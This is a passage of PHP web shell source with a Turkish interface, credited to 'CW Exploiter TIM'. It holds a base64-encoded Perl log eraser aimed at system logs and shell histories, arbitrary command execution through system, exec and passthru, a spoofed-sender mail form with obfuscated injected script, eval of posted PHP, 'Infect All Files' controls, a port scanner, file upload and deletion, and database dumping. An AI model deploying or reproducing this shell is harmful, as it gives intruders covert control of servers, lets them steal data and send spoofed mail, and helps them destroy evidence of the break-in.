WRtL2FjY3Qvc3VtL2xvZ2lubG9nXCIsIFwidmFyL2FkbS9YMG1zZ3NcIiwgXCIvdmFyL2FkbS9jcmFzaC92bWNvcmVcIiwNCiAgICAgICAgICAgIFwiL3Zhci9hZG0vY3Jhc2gvdW5peFwiKQ0KICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI0xvZyBzb2YgQWl4IFN5c3RlbXMNCiAgICAgIHsgICANCiAgICAgIEBhaXggPSAoXCIvdmFyL2FkbS9wYWNjdFwiLCBcIi92YXIvYWRtL3d0bXBcIiwgXCIvdmFyL2FkbS9kdG1wXCIsIFwiL3Zhci9hZG0vcWFjY3RcIiwgICANCiAgICAgICAgICAgICAgIFwiL3Zhci9hZG0vc3Vsb2dcIiwgXCIvdmFyL2FkbS9yYXMvZXJybG9nXCIsIFwiL3Zhci9hZG0vcmFzL2Jvb3Rsb2dcIiwNCiAgICAgICAgICAgICAgIFwiL3Zhci9hZG0vY3Jvbi9sb2dcIiwgXCIvZXRjL3V0bXBcIiwgXCIvZXRjL3NlY3VyaXR5L2xhc3Rsb2dcIiwNCiAgICAgICAgICAgICAgIFwiL2V0Yy9zZWN1cml0eS9mYWlsZWRsb2dpblwiLCBcInVzci9zcG9vbC9tcXVldWUvc3lzbG9nXCIpICAgDQogICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI0xvZ3Mgb2YgU3VuT1MgU3lzdGVtcyAgIA0KICAgICAgeyAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgQHN1bm9zID0gKFwiL3Zhci9hZG0vbWVzc2FnZXNcIiwgXCIvdmFyL2FkbS9hY3Vsb2dzXCIsIFwiL3Zhci9hZG0vYWN1bG9nXCIsDQogICAgICAgICAgICAgICAgIFwiL3Zhci9hZG0vc3Vsb2dcIiwgXCIvdmFyL2FkbS92b2xkLmxvZ1wiLCBcIi92YXIvYWRtL3d0bXBcIiwNCiAgICAgICAgICAgICAgICAgXCIvdmFyL2FkbS93dG1weFwiLCBcIi92YXIvYWRtL3V0bXBcIiwgXCIvdmFyL2FkbS91dG1weFwiLA0KICAgICAgICAgICAgICAgICBcIi92YXIvYWRtL2xvZy9hc3BwcC5sb2dcIiwgXCIvdmFyL2xvZy9zeXNsb2dcIiwNCiAgICAgICAgICAgICAgICAgXCIvdmFyL2xvZy9QT1Bsb2dcIiwgXCIvdmFyL2xvZy9hdXRobG9nXCIsIFwiL3Zhci9hZG0vcGFjY3RcIiwNCiAgICAgICAgICAgICAgICAgXCIvdmFyL2xwL2xvZ3MvbHBzY2hlZFwiLCBcIi92YXIvbHAvbG9ncy9yZXF1ZXN0c1wiLA0KICAgICAgICAgICAgICBcIi92YXIvY3Jvbi9sb2dzXCIsIFwiL3Zhci9zYWYvX2xvZ1wiLCBcIi92YXIvc2FmL3BvcnQvbG9nXCIpDQogICAgICAgICB9ICAgICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjTG9ncyBvZiBMaW51eCBTeXN0ZW1zICAgICAgIA0KICAgICAgeyAgICAgDQogICAgICAgQGxpbnV4ID0gKFwiL3Zhci9sb2cvbGFzdGxvZ1wiLCBcIi92YXIvbG9nL3RlbG5ldGRcIiwgXCIvdmFyL3J1bi91dG1wXCIsDQogICAgICAgICAgICAgICAgIFwiL3Zhci9sb2cvc2VjdXJlXCIsXCIvcm9vdC8ua3NoX2hpc3RvcnlcIiwgXCIvcm9vdC8uYmFzaF9oaXN0b3J5XCIsDQogICAgICAgICAgICAgICAgIFwiL3Jvb3QvLmJhc2hfbG9ndXRcIiwgXCIvdmFyL2xvZy93dG1wXCIsIFwiL2V0Yy93dG1wXCIsDQogICAgICAgICAgICAgICAgIFwiL3Zhci9ydW4vdXRtcFwiLCBcIi9ldGMvdXRtcFwiLCBcIi92YXIvbG9nXCIsIFwiL3Zhci9hZG1cIiwNCiAgICAgICAgICAgICAgICAgXCIvdmFyL2FwYWNoZS9sb2dcIiwgXCIvdmFyL2FwYWNoZS9sb2dzXCIsIFwiL3Vzci9sb2NhbC9hcGFjaGUvbG9nc1wiLA0KICAgICAgICAgICAgICAgICBcIi91c3IvbG9jYWwvYXBhY2hlL2xvZ3NcIiwgXCIvdmFyL2xvZy9hY2N0XCIsIFwiL3Zhci9sb2cveGZlcmxvZ1wiLA0KICAgICAgICAgICAgICAgICBcIi92YXIvbG9nL21lc3NhZ2VzL1wiLCBcIi92YXIvbG9nL3Byb2Z0cGQveGZlcmxvZy5sZWdhY3lcIiwNCiAgICAgICAgICAgICAgICAgXCIvdmFyL2xvZy9wcm9mdHBkLnhmZXJsb2dcIiwgXCIvdmFyL2xvZy9wcm9mdHBkLmFjY2Vzc19sb2dcIiwNCiAgICAgICAgICAgICAgICAgXCIvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2dcIiwgXCIvdmFyL2xvZy9odHRwc2Qvc3NsX2xvZ1wiLA0KICAgICAgICAgICAgICAgICBcIi92YXIvbG9nL2h0dHBzZC9zc2wuYWNjZXNzX2xvZ1wiLCBcIi9ldGMvbWFpbC9hY2Nlc3NcIiwNCiAgICAgICAgICAgICAgICAgXCIvdmFyL2xvZy9xbWFpbFwiLCBcIi92YXIvbG9nL3NtdHBkXCIsIFwiL3Zhci9sb2cvc2FtYmFcIiwNCiAgICAgICAgICAgICAgICAgXCIvdmFyL2xvZy9zYW1iYS5sb2cuJW1cIiwgXCIvdmFyL2xvY2svc2FtYmFcIiwgXCIvcm9vdC8uWGF1dGhvcml0eVwiLA0KICAgICAgICAgICAgICAgICBcIi92YXIvbG9nL3BvcGxvZ1wiLCBcIi92YXIvbG9nL25ld3MuYWxsXCIsIFwiL3Zhci9sb2cvc3Bvb2xlclwiLA0KICAgICAgICAgICAgICAgICBcIi92YXIvbG9nL25ld3NcIiwgXCIvdmFyL2xvZy9uZXdzL25ld3NcIiwgXCIvdmFyL2xvZy9uZXdzL25ld3MuYWxsXCIsDQogICAgICAgICAgICAgICAgIFwiL3Zhci9sb2cvbmV3cy9uZXdzLmNyaXRcIiwgXCIvdmFyL2xvZy9uZXdzL25ld3MuZXJyXCIsIFwiL3Zhci9sb2cvbmV3cy9uZXdzLm5vdGljZVwiLA0KICAgICAgICAgICAgICAgICBcIi92YXIvbG9nL25ld3Mvc3Vjay5lcnJcIiwgXCIvdmFyL2xvZy9uZXdzL3N1Y2subm90aWNlXCIsDQogICAgICAgICAgICAgICAgIFwiL3Zhci9zcG9vbC90bXBcIiwgXCIvdmFyL3Nwb29sL2Vycm9yc1wiLCBcIi92YXIvc3Bvb2wvbG9nc1wiLCBcIi92YXIvc3Bvb2wvbG9ja3NcIiwNCiAgICAgICAgICAgICAgICAgXCIvdXNyL2xvY2FsL3d3dy9sb2dzL3RodHRwZF9sb2dcIiwgXCIvdmFyL2xvZy90aHR0cGRfbG9nXCIsDQogICAgICAgICAgICAgICAgIFwiL3Zhci9sb2cvbmNmdHBkL21pc2Nsb2cudHh0XCIsIFwiL3Zhci9sb2cvbmN0ZnBkLmVycnNcIiwNCiAgICAgICAgICAgICAgICAgXCIvdmFyL2xvZy9hdXRoXCIpDQogICAgICAgICB9DQogICAgICAgICANCiAgIA==");
971
972
$openp = fopen("logseraser.pl", "w+")or die("Error");
973
974
fwrite($openp, $erase)or die("Error");
975
976
fclose($openp);
977
978
$aidx = passthru("perl logseraser.pl ".$_POST['functionp']);
979
980
unlink("logseraser.pl");
981
982
echo "</textarea>";
983
984
}
985
986
987
988
if(isset($_POST['commex']))
989
990
{
991
992
echo "<tr><td>
993
994
<center><b><font size='2' face='Verdana'>CMD :]<br></font></b>
995
996
        <input name=cmd size=20 type=text> 
997
998
        <select name=functionz>
999
1000
          <option>passthru</option>
1001
1002
          <option>popen</option>
1003
1004
          <option>exec</option>
1005
1006
          <option>shell_exec</option>
1007
1008
          <option>system</option>
1009
1010
        </select><br><input type='submit' name='cmdex' value='Enter'></table>";
1011
1012
   }
1013
1014
   if(isset($_POST['cmdex']))
1015
1016
   { echo "<tr><td>";
1017
1018
   switch (@$_POST['functionz']) {
1019
1020
	case "system":
1021
1022
	system(stripslashes($_POST['cmd']));
1023
1024
	
1025
1026
	break;
1027
1028
	case "popen":
1029
1030
	$handle = popen($_POST['cmd'].' 2>&1', 'r');
1031
1032
	echo "'$handle'; " . gettype($handle) . "\n";
1033
1034
	$read = fread($handle, 2096);
1035
1036
	echo $read;
1037
1038
	pclose($handle);
1039
1040
	
1041
1042
	break;
1043
1044
	case "shell_exec":
1045
1046
	shell_exec(stripslashes($_POST['cmd']));
1047
1048
	
1049
1050
1051
1052
	break;
1053
1054
	case "exec":
1055
1056
	exec(stripslashes($_POST['cmd']));
1057
1058
	
1059
1060
	break;
1061
1062
	case "passthru":
1063
1064
	passthru(stripslashes($_POST['cmd']));
1065
1066
	
1067
1068
	}
1069
1070
	}
1071
1072
1073
1074
elseif(isset($_POST['mail'])) 
1075
1076
{
1077
1078
echo "<form method='post' action=''>
1079
1080
<td valign=top><center><font face='Verdana' size='2'>FakeMail [HTML Onaylý]</font></center>
1081
1082
<center><font face='Verdana' size='1'>Kime:<br>
1083
1084
<input type='text' size='19' name='mto'><br>
1085
1086
Kimden:<br>
1087
1088
<input type='text' size='19' name='mfrom'><br>
1089
1090
Konu:<br>
1091
1092
<input type='text' size='19' name='mobj'><br>
1093
1094
Mesaj:<br>
1095
1096
<textarea name='mtext' cols=20 rows=4></textarea><br>
1097
1098
<br><input type='submit' value='Yolla' name='senm'>
1099
1100
</form></table><br>";}
1101
1102
if(isset($_POST['senm'])) 
1103
1104
{
1105
1106
//Mail With HTML   <- webcheatsheet.com
1107
1108
$to = $_POST['mto'];
1109
1110
$subject = $_POST['mobj'];
1111
1112
$contentz = $_POST['mtext']."<!--";
1113
1114
$random_hash = md5(date('r', time()));
1115
1116
$headers = "From: ".$_POST['mfrom']."\r\nReply-To: ".$_POST['mfrom'];
1117
1118
$headers .= "\r\nContent-Type: multipart/alternative; boundary=\"PHP-alt-".$random_hash."\"";
1119
1120
ob_start(); 
1121
1122
?>
1123
1124
<script type="text/javascript" language="javascript">
1125
1126
<!--
1127
1128
ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
1129
1130
MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
1131
1132
OT="";
1133
1134
for(j=0;j<MI.length;j++){
1135
1136
OT+=ML.charAt(MI.charCodeAt(j)-48);
1137
1138
}document.write(OT);
1139
1140
// --></script>
1141
1142
--PHP-alt-<?php echo $random_hash; ?> 
1143
1144
Content-Type: text/html; charset="iso-8859-1"
1145
1146
Content-Transfer-Encoding: 7bit
1147
1148
1149
1150
<?  echo "$contentz"; ?>
1151
1152
--PHP-alt-<?php echo $random_hash; ?>--
1153
1154
<?
1155
1156
$message = ob_get_clean();
1157
1158
1159
1160
$mail = @mail( $to, $subject, $message, $headers );
1161
1162
1163
1164
if($mail) { echo "<br><td valign=top>
1165
1166
<center><font color='green' size='1'>Mail Sent</font></center></table>"; }
1167
1168
else { echo "<br><td valign=top>
1169
1170
<center><font color='red' size='1'>Error</font></center></table>"; }
1171
1172
}
1173
1174
1175
1176
elseif(isset($_POST['encoder'])) { 
1177
1178
//Encoder
1179
1180
echo "<form method='post' action=''><td valign=top>
1181
1182
<center><font face='Verdana' size='1'>Text:</font><br><textarea name='encod'></textarea><br><input type='submit' value='Encode' name='encode'></form></table>"; 
1183
1184
}
1185
1186
if(isset($_POST['encode'])) { echo "<td valign=top>
1187
1188
<center><font face='Verdana' size='1'>
1189
1190
MD5:   &nbsp;&nbsp;&nbsp;&nbsp;<input type='text' size='35' value='".md5($_POST['encod'])."'><br>
1191
1192
Sha1:  &nbsp;&nbsp;&nbsp;<input type='text' size='35' value='".sha1($_POST['encod'])."'><br>
1193
1194
Crc32: &nbsp;&nbsp;&nbsp;<input type='text' size='34' value='".crc32($_POST['encod'])."'><br><br>
1195
1196
Base64 Encode: <input type='text' size='35' value='".base64_encode($_POST['encod'])."'><br>
1197
1198
Base64 Decode: <input type='text' size='36' value='".base64_decode($_POST['encod'])."'></table>";}
1199
1200
1201
1202
//File List
1203
1204
echo "</table><table width=100%><tr><td>
1205
1206
<center><font size='1' face='Verdana'>Toplam Dosyalar: $fileq [$filew files and $pahtw directory] </font></center></td></tr></table>
1207
1208
<center><table class=menuz width=100% cellspacing=0 cellpadding=0 border=0>
1209
1210
<font size='1'>
1211
1212
<td valign=top><font face='Verdana' size='2'><b>Dosya Adý :</b></font></td><td valign=top><font face='Verdana' size='2'><b>Tip:</b></font></td><td valign=top width=15%><font face='Verdana' size=2><b>Boyut:</b></font></td><td valign=top width=10%><font face='Verdana' size='2'><b>Perms:</b></font></td>$listf</font>
1213
1214
</table></center>"; 
1215
1216
1217
1218
echo "
1219
1220
<br>
1221
1222
<table class='menu' cellspacing='0' cellpadding='0' border='0' width='100%'><tr><td valign=top>
1223
1224
<center><b><font size='2' face='Verdana'>Server Uzerinde PHP Kodu :<br></font></b>";
1225
1226
if(!isset($phpeval))
1227
1228
{
1229
1230
echo "
1231
1232
   <form method='post' action=''>
1233
1234
   <textarea name=php_eval cols=100 rows=5></textarea><br>
1235
1236
   <input type='submit' value='Calistir!'>
1237
1238
   </form>
1239
1240
";
1241
1242
}
1243
1244
1245
1246
if(isset($phpeval)) {
1247
1248
echo "
1249
1250
<form method='post' action=''>
1251
1252
<textarea name=php_eval cols=100 rows=10>";
1253
1254
$wr = '"';
1255
1256
 $eval = @str_replace("<?","",$phpeval);
1257
1258
 $eval = @str_replace("?>","",$phpeval);
1259
1260
 @eval($eval);
1261
1262
echo "</textarea><br><input type='submit' value='Calistir!'></form>";
1263
1264
1265
1266
}
1267
1268
echo "<form method='post' action=''><input type='submit' value='Infect All Files!' name='inf3ct'> - <input type='submit' value='Eval Infect Files!' name='evalinfect'><br>";
1269
1270
if(isset($textzz)) { echo $textzz; }
1271
1272
if(isset($textz0)) { echo $textz0; }
1273
1274
echo "</center></form></td></tr><tr><td>
1275
1276
<center><b><font size='2' face='Verdana'>:: Edit File ::<br></font></b>
1277
1278
<form method='post' action=''>
1279
1280
<input type='text' name='editfile' value=".$dir.">
1281
1282
<input type='submit' value='Go' name='doedit'>
1283
1284
</form>";
1285
1286
// Edit Files n3xpl0rer
1287
1288
if(isset($_POST['doedit']) && $_POST['editfile'] != $dir)
1289
1290
{
1291
1292
$file = $_POST['editfile'];
1293
1294
$content = file_get_contents($file);
1295
1296
echo "<form action='' method='post'><center>
1297
1298
<input type='hidden' name='editfile' value='".$file."'>
1299
1300
<textarea rows=20 cols=80 name='newtext'>".htmlspecialchars($content)."</textarea><br /><input type='submit' name='edit' value='Edit'></form>";
1301
1302
}
1303
1304
if(isset($_POST['edit'])) {
1305
1306
$file = $_POST['editfile'];
1307
1308
echo  $file."<br />";
1309
1310
$fh = fopen($file, "w+")or die("<font color=red>Error: cannot open file</font>");
1311
1312
fwrite($fh, stripslashes($_POST['newtext']))or die("<font color=red>Error: cannot write to file</font>");
1313
1314
fclose($fh);
1315
1316
echo "Done.</td></tr>";
1317
1318
}
1319
1320
echo "
1321
1322
</table>
1323
1324
<table class='menu' cellspacing='0' cellpadding='0' border='0' width='100%'>
1325
1326
<tr>
1327
1328
<td valign=top>
1329
1330
<center><b><font size='2' face='Verdana'>Dizin'e Git:<br></font></b>
1331
1332
<form name='directory' method='post' action=''>
1333
1334
<input type='text' name='dir' value=$dir>
1335
1336
<input type='submit' value='Go'>
1337
1338
</form></td><td>
1339
1340
<center><b><font size='2' face='Verdana'> Port Tarayýcý <br></font></b>
1341
1342
   <form name='scanner' method='post'>
1343
1344
   <input type='text' name='host' value='127.0.0.1' >
1345
1346
   <select name='protocol'>
1347
1348
   <option value='tcp'>tcp</option>
1349
1350
   <option value='udp'>udp</option>
1351
1352
   </select>
1353
1354
   <input type='submit' value='Portlarý TARA'>
1355
1356
   </form>
1357
1358
";
1359
1360
if(isset($host) && isset($proto))
1361
1362
{
1363
1364
echo "<font size='2' face='Verdana'>Open Ports:";
1365
1366
1367
1368
for($current = 0; $current <= 23; $current++)
1369
1370
{
1371
1372
$currents = $myports[$current];
1373
1374
1375
1376
$service = getservbyport($currents, $proto);
1377
1378
1379
1380
1381
1382
// Try to connect to port
1383
1384
$result = fsockopen($host, $currents, $errno, $errstr, 1);
1385
1386
1387
1388
// Show results
1389
1390
if($result)
1391
1392
{
1393
1394
echo "$currents, ";
1395
1396
}
1397
1398
1399
1400
1401
1402
}
1403
1404
}
1405
1406
1407
1408
echo "</font>
1409
1410
</td></tr>
1411
1412
1413
1414
<tr>
1415
1416
<td valign=top width=50%>
1417
1418
<center><b><font size='2' face='Verdana'>Dosya Upload<br></font></b>
1419
1420
   <form method='post' action='' enctype='multipart/form-data'>
1421
1422
   <input type='hidden' name='dare' value=$dir>
1423
1424
   <input type='file' name='ffile'>
1425
1426
   <input type='submit' name='ok' value='Upload!'>
1427
1428
   </center>   
1429
1430
   </form>
1431
1432
</td>
1433
1434
<td valign=top>
1435
1436
<center><b><font size='2' face='Verdana'>Dosya Sil<br></font></b>
1437
1438
   <form method='post' action=''>
1439
1440
   <input type='text' name='delete' value=$dir > <input type='submit' value='Dosyayý Sil' name='deletfilez'>
1441
1442
   </center>
1443
1444
   </form>
1445
1446
</td></tr>
1447
1448
<tr>
1449
1450
<td valign=top>
1451
1452
 
1453
1454
<center><b><font size='2' face='Verdana'>Klasör Oluþtur<br></font></b>
1455
1456
   <form method='post' action=''>
1457
1458
   <input type='text' name='makedir' value=$dir> <input type='submit' value='Oluþtur'>
1459
1460
   </center>
1461
1462
   </form>
1463
1464
</td>
1465
1466
<td valign=top>
1467
1468
<center><b><font size='2' face='Verdana'>Klasör Sil<br></font></b>
1469
1470
   <form method='post' action=''>
1471
1472
   <input type='text' name='deletedir' value=$dir> <input type='submit' value='Sil'>
1473
1474
   </center>
1475
1476
   </form>
1477
1478
</td></tr>
1479
1480
<tr>
1481
1482
<td valign=top width=50%>
1483
1484
<center><b><font size='2' face='Verdana'>Dosya Oluþtur:<br></font></b>
1485
1486
   <form method='post' action=''>
1487
1488
   <input type='hidden' name='darezz' value=$dir>
1489
1490
   <font size='1' face='Verdana'>ADI:</font><br>
1491
1492
   <input type='text' name='names' size='30'><br>
1493
1494
   <font size='1' face='Verdana'>Kodu:</font><br>
1495
1496
   <textarea rows='16' cols='30' name='source'></textarea><br>
1497
1498
   <input type='submit' value='Upload'>
1499
1500
   </center>
1501
1502
   </form>
1503
1504
</td>
1505
1506
<td valign=top width=50%>
1507
1508
<center><b><font size='2' face='Verdana'>Database<br></font></b>
1509
1510
   <form method='post' action=''>
1511
1512
   <font size='1' face='Verdana'>Username: - Password:</font><br>
1513
1514
   <input type='text' name='user' size='10'>
1515
1516
   <input type='text' name='passd' size='10'><br>
1517
1518
   <font size='1' face='Verdana'>Host:</font><br>
1519
1520
   <input type='text' name='host' value='localhost'><br>
1521
1522
   <font size='1' face='Verdana'>DB Name:</font><br>
1523
1524
   <input type='text' name='db'><br>
1525
1526
   <font size='1' face='Verdana'>Sorgu:</font><br>
1527
1528
   <textarea rows='10' cols='30' name='query'></textarea><br>
1529
1530
   <input type='submit' value='Sorguyu Calistir' name='godb'><br><input type='submit' name='dump' value='Database'yi Dump Et'>
1531
1532
   </center>
1533
1534
   </form>
1535
1536
</td> </tr>
1537
1538
1539
1540
</table>
1541
1542
</table>
1543
1544
<br />
1545
1546
<table class='menu' cellspacing='0' cellpadding='0' border='0' width='100%'>
1547
1548
<tr>
1549
1550
<td valign=top>
1551
1552
<center><b><font size='1' face='Verdana'>
1553
1554
CW Exploiter TIM // Cyber Security
1555
1556
</center></font></td></tr>
1557
1558
</body>
1559
1560
</html>";
1561
1562
1563
1564
1565
1566
?>